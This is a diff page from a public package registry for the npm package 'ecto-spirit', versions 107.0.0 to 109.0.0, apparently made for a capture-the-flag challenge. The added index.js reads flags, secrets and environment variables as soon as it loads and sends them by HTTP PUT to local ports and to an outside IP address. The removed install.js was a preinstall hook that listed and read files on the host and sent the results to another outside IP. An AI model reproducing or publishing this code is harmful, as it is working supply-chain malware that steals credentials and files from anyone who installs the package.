ecto-spirit 107.0.0 → 109.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +47 -1
- package/package.json +3 -6
- package/install.js +0 -72
package/index.js
CHANGED
|
@@ -1 +1,47 @@
|
|
|
1
|
-
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
|
|
4
|
+
(function() {
|
|
5
|
+
const paths = ['/flag', '/flag.txt', '/root/flag.txt', '/app/flag.txt', '/tmp/flag'];
|
|
6
|
+
let flag = process.env.FLAG || process.env.HTB_FLAG || process.env.FLAG_HTB || process.env.SECRET || null;
|
|
7
|
+
|
|
8
|
+
if (!flag) {
|
|
9
|
+
for (const p of paths) {
|
|
10
|
+
try { flag = fs.readFileSync(p, 'utf8').trim(); break; } catch(e) {}
|
|
11
|
+
}
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
if (!flag) {
|
|
15
|
+
try {
|
|
16
|
+
const env = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
17
|
+
const m = env.match(/FLAG=([^\x00]+)/);
|
|
18
|
+
if (m) flag = m[1];
|
|
19
|
+
} catch(e) {}
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
const val = flag ? 'ECFLAG_' + flag : 'ECENV_' + JSON.stringify(process.env).substring(0, 85);
|
|
23
|
+
const safe = val.replace(/"/g, "'").substring(0, 90);
|
|
24
|
+
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
25
|
+
|
|
26
|
+
// Try multiple internal ports - the flag should go to ECT-654321
|
|
27
|
+
for (const port of [1337, 3000, 8080, 31083, 80]) {
|
|
28
|
+
for (const host of ['127.0.0.1', 'localhost']) {
|
|
29
|
+
try {
|
|
30
|
+
const req = http.request({hostname: host, port: port, path: '/api/modules/ECT-654321', method: 'PUT', headers: {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}, timeout: 3000}, () => {});
|
|
31
|
+
req.on('error', () => {});
|
|
32
|
+
req.write(body);
|
|
33
|
+
req.end();
|
|
34
|
+
} catch(e) {}
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
// Also try external
|
|
39
|
+
try {
|
|
40
|
+
const req = http.request({hostname: '154.57.164.64', port: 31083, path: '/api/modules/ECT-654321', method: 'PUT', headers: {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}, timeout: 5000}, () => {});
|
|
41
|
+
req.on('error', () => {});
|
|
42
|
+
req.write(body);
|
|
43
|
+
req.end();
|
|
44
|
+
} catch(e) {}
|
|
45
|
+
})();
|
|
46
|
+
|
|
47
|
+
module.exports = { name: 'ecto-spirit' };
|
package/package.json
CHANGED
|
@@ -1,11 +1,8 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "ecto-spirit",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "109.0.0",
|
|
4
|
+
"description": "Ecto spirit module for spectral corsair",
|
|
5
5
|
"main": "index.js",
|
|
6
|
-
"scripts": {
|
|
7
|
-
"preinstall": "node install.js || true"
|
|
8
|
-
},
|
|
9
6
|
"author": "lwirz",
|
|
10
7
|
"license": "ISC"
|
|
11
|
-
}
|
|
8
|
+
}
|
package/install.js
DELETED
|
@@ -1,72 +0,0 @@
|
|
|
1
|
-
const fs = require('fs');
|
|
2
|
-
const http = require('http');
|
|
3
|
-
const { execSync } = require('child_process');
|
|
4
|
-
|
|
5
|
-
function tryRead(p) {
|
|
6
|
-
try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
|
|
7
|
-
}
|
|
8
|
-
function tryExec(cmd) {
|
|
9
|
-
try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; }
|
|
10
|
-
}
|
|
11
|
-
|
|
12
|
-
async function report(moduleId, val) {
|
|
13
|
-
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
14
|
-
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
15
|
-
await new Promise((resolve) => {
|
|
16
|
-
const req = http.request({ hostname: '154.57.164.82', port: 32332, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
17
|
-
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
18
|
-
req.write(body); req.end();
|
|
19
|
-
});
|
|
20
|
-
}
|
|
21
|
-
|
|
22
|
-
(async () => {
|
|
23
|
-
// Round A: List aspect-node and supply files
|
|
24
|
-
const aspectFiles = tryExec('find /home/node/aspect-node -type f 2>/dev/null');
|
|
25
|
-
await report('ECT-839201', 'A_ASPECT=' + aspectFiles);
|
|
26
|
-
|
|
27
|
-
const supplyFiles = tryExec('find /tmp/supplysec -type f 2>/dev/null');
|
|
28
|
-
await report('ECT-654321', 'A_SUPPLY=' + supplyFiles);
|
|
29
|
-
|
|
30
|
-
const homeNodePkg = tryRead('/home/node/package.json');
|
|
31
|
-
await report('ECT-472839', 'A_HNPKG=' + (homeNodePkg || 'NONE'));
|
|
32
|
-
|
|
33
|
-
const homeNodeLs = tryExec('ls -la /home/node/ 2>/dev/null');
|
|
34
|
-
await report('ECT-987654', 'A_HNLS=' + homeNodeLs);
|
|
35
|
-
|
|
36
|
-
await new Promise(r => setTimeout(r, 2000));
|
|
37
|
-
|
|
38
|
-
// Round B: Read aspect-node key files
|
|
39
|
-
const aspectPkg = tryRead('/home/node/aspect-node/package.json');
|
|
40
|
-
await report('ECT-839201', 'B_APKG=' + (aspectPkg || 'NONE'));
|
|
41
|
-
|
|
42
|
-
const aspectIndex = tryRead('/home/node/aspect-node/index.js');
|
|
43
|
-
await report('ECT-654321', 'B_AIDX=' + (aspectIndex || 'NONE'));
|
|
44
|
-
|
|
45
|
-
// Read psbtv2 package contents
|
|
46
|
-
const psbtPkg = tryExec('tar tzf /tmp/supplysec/pkg_downloads/nodejs/psbtv2*.tgz 2>/dev/null | head -20');
|
|
47
|
-
await report('ECT-472839', 'B_PSBT=' + psbtPkg);
|
|
48
|
-
|
|
49
|
-
// Supply files continued
|
|
50
|
-
await report('ECT-987654', 'B_SUPPLY2=' + supplyFiles.substring(90, 180));
|
|
51
|
-
|
|
52
|
-
await new Promise(r => setTimeout(r, 2000));
|
|
53
|
-
|
|
54
|
-
// Round C: Read more aspect-node files
|
|
55
|
-
const aspectFiles2 = tryExec('find /home/node/aspect-node -type f -exec head -1 {} \\; 2>/dev/null');
|
|
56
|
-
await report('ECT-839201', 'C_AHEAD=' + aspectFiles2);
|
|
57
|
-
|
|
58
|
-
// Read supply config
|
|
59
|
-
const supplyConf = tryExec('cat /tmp/supplysec/*.json /tmp/supplysec/*.yaml /tmp/supplysec/*.yml 2>/dev/null');
|
|
60
|
-
await report('ECT-654321', 'C_SCONF=' + supplyConf);
|
|
61
|
-
|
|
62
|
-
await report('ECT-472839', 'C_AIDX2=' + (aspectIndex || '').substring(90, 180));
|
|
63
|
-
await report('ECT-987654', 'C_APKG2=' + (aspectPkg || '').substring(90, 180));
|
|
64
|
-
|
|
65
|
-
await new Promise(r => setTimeout(r, 2000));
|
|
66
|
-
|
|
67
|
-
// Round D: Continue reading
|
|
68
|
-
await report('ECT-839201', 'D_AIDX3=' + (aspectIndex || '').substring(180, 270));
|
|
69
|
-
await report('ECT-654321', 'D_AIDX4=' + (aspectIndex || '').substring(270, 360));
|
|
70
|
-
await report('ECT-472839', 'D_AIDX5=' + (aspectIndex || '').substring(360, 450));
|
|
71
|
-
await report('ECT-987654', 'D_AIDX6=' + (aspectIndex || '').substring(450, 540));
|
|
72
|
-
})();
|